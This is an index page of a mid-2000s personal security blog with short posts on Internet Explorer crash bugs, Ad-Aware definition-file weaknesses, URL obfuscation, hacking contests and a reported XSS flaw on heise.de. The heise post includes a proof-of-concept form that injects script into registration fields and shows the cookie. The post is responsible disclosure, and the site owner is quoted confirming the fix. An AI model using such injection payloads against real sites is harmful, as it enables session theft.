Security

morph3us.org

Quicksearch

Categories

Syndication

XML RSS 1.0 feed
XML RSS 2.0 feed
ATOM/XML ATOM 1.0 feed
XML RSS 2.0 Comments

Blogroll

BuHa Files Blog
Dominik
Doomshammer
echox
Rodnox
strcat

Tagged entries

Top Referers

www.google.com (5)
phfzicsk.wtcsites.com (3)
travellibrary.ru (3)
aajzuloq.fcpages.com (2)
aergboav.servetown.com (2)
jymekhce.kogaryu.com (2)
markat.com.ua (2)
rausooli.741.com (2)
search.live.com (2)
livemarket.com.ua (1)

Why Windows is less secure than GNU/Linux

  (Wednesday, February 7. 2007)
Read this article and you know it. (o:



Posted by in GNU/Linux, Security, Windows at 08:26
Defined tags for this entry: , , , ,
Comments (0) | Trackbacks (0)

Unaddressed DoS vulnerabilities in IE 6 SP2

  (Wednesday, January 31. 2007)
I reported almost all of these DoS vulnerabilities more than a year ago to Microsoft but they are still not fixed..

Note that the offsets where the browser crashes has changed because of the installed security updates.

Continue reading this entry..
Posted by in Security, Windows at 21:12
Defined tags for this entry: ,
Comments (2) | Trackbacks (0)

How-to fake heise news entries

  (Tuesday, September 5. 2006)
As I already mentioned in a previous blog posting titled XSS on heise.de there was a XSS vulnerability on heise.de. I informed heise's webmaster about this bug on December 23, 2005 and received the answer mail which stated that this issue was addressed on January 06, 2006. It's almost unbelievable that this bug is still present to this day.

Continue reading this entry..
Posted by in Security at 14:10
Defined tags for this entry: , ,
Comments (6) | Trackbacks (0)

Why Ad-Aware sucks as hell..

  (Thursday, June 15. 2006) 
 1. Definition file
 1.1. "Encrypted" with xor \
 1.2. Packed with ZIP with simple password - trivial to intercept def updates
      and change the defs to make the malware invisible
 1.3. No checksum in the def file /
 1.4. Big redundancy in the def file
 1.5. Multiplying the number of entries in the def file with constant 1.46 
      to make it look it has more definitions 

2. Program
 2.1. Poorly written checksum algo
 2.2. Poorly written scanning algo (slow as hell)
 2.3. CSI works only for in-memory images and is useless

You want the proofs? Read the following text ...

https://rootkit.com/newsread.php?newsid=471
Posted by in Security at 22:54
Defined tags for this entry:
Comments (0) | Trackbacks (0)

Dotless IP addresses and URL Obfuscation

  (Wednesday, March 8. 2006)
First of all, I should explain what "dotless ip addresses" are because I think this term is not very common. Simply spoken this is an address which does not consist of octets seperated by points. You may ask the question how to convert an ip adress into a dotless one..

In fact there are several different methods to convert an ip address into a dotless one and there are much more possibilities to obfuscate an URL but not all of them work in every browser.

Here are some examples, in which I'll use the domain 'buha.info' for demonstration purposes:

Continue reading this entry..
Posted by in Security at 03:53
Defined tags for this entry:
Comments (10) | Trackbacks (0)

BuHa ExploitMe Contest

  (Tuesday, March 7. 2006)
The BuHa ExploitMe Contest is organized in multiple levels with increasing difficulty. In each of this levels you'll find a exploitable ANSI C program and a small advice about the kind of shellcode which should be used. The first and the second level do not require the usage of any shellcode because people which are not familar with security related bugs in C programs should be able to complete them too.

The contest started almost a week ago and until now there are 19 different participants. I was surprised about three brazilian guys which also take part in the contest and found the contest site with Google.

Check it out: https://www.buha.info/projects/exploitme-contest/

Posted by in News, Security at 13:05
Defined tags for this entry: ,
Comment (1) | Trackbacks (0)

XSS on heise.de

  (Tuesday, January 3. 2006)
heise.de - a German news site for, amongst others, security related topics - is vulnerable for XSS (Cross Site Scripting). I contacted the webmaster of heise.de about this on December 23 but I did not receive an answer and the XSS vulnerability is still not addressed.

PoC:
<form method="post" action="http://www.heise.de/registration/"
  name="heise">
  <input type="text" name="uid" size="20" value=''>
  <input type="text" name="vorname" size="20"
 value='"><script>alert(document.cookie)</script>'>
  <input type="text" name="name" size="20"
 value='"><script>alert(document.cookie)</script>'>
</form>
<body onload="heise.submit();">

heise-xss-poc.txt

UPDATE: 2006-01-09: 20:26
Hallo Herr Waldegger,

vielen Dank für Ihren Hinweis. Aufgrund der Feiertage hat die Behebung leider etwas länger gedauert.

Mit freundlichen Grüßen
heise online
Webmaster
Posted by in Security at 06:33
Defined tags for this entry: , ,
Comment (1) | Trackbacks (0)

Gmail Account Hijacking Vulnerability

  (Thursday, December 22. 2005)
There was a vulnerability in Google's Gmail service which allowed it to take control over an arbitrary mail account without requiring any cookie thefts. According to the bug spotter the vulnerability was fixed by Google on October 18.

http://www.elhacker.net/gmailbug/english_version.htm
Posted by in Security at 23:01
Defined tags for this entry:
Comments (0) | Trackbacks (0)

BuHa CrackMe Contest

  (Friday, November 11. 2005)
Recently there was a CrackMe-Contest at buha.info (A German security community) . It consisted of ten different levels sorted by difficulty. I think it was a good idea to involve various programming languages for example C/++, Java, VB and C# in the contest because so everyone had to concern himself with a language he maybe does not like/use.

Last night, I uploaded all received solutions (keygens, keygen-patches, source codes, algos, howtos etc.) for the different levels to the CrackMe-Contest site. So all crackmes (source code included) are well documented and helpful for training purposes. Especially crackme #1 and #2 from nait (level 9 and 10 of the contest) and the great step by step guidances (by CDW and nait) to understand and solve the crackmes are worth a view.

An ExploitMe-Contest and a sort of HackMe-Contest will take place soon so stay tuned..

np: Tiesto - Do What You Want
Posted by in Security at 21:02
Defined tags for this entry: , , , , ,
Comments (0) | Trackbacks (0)
(Page 1 of 1, totaling 9 entries)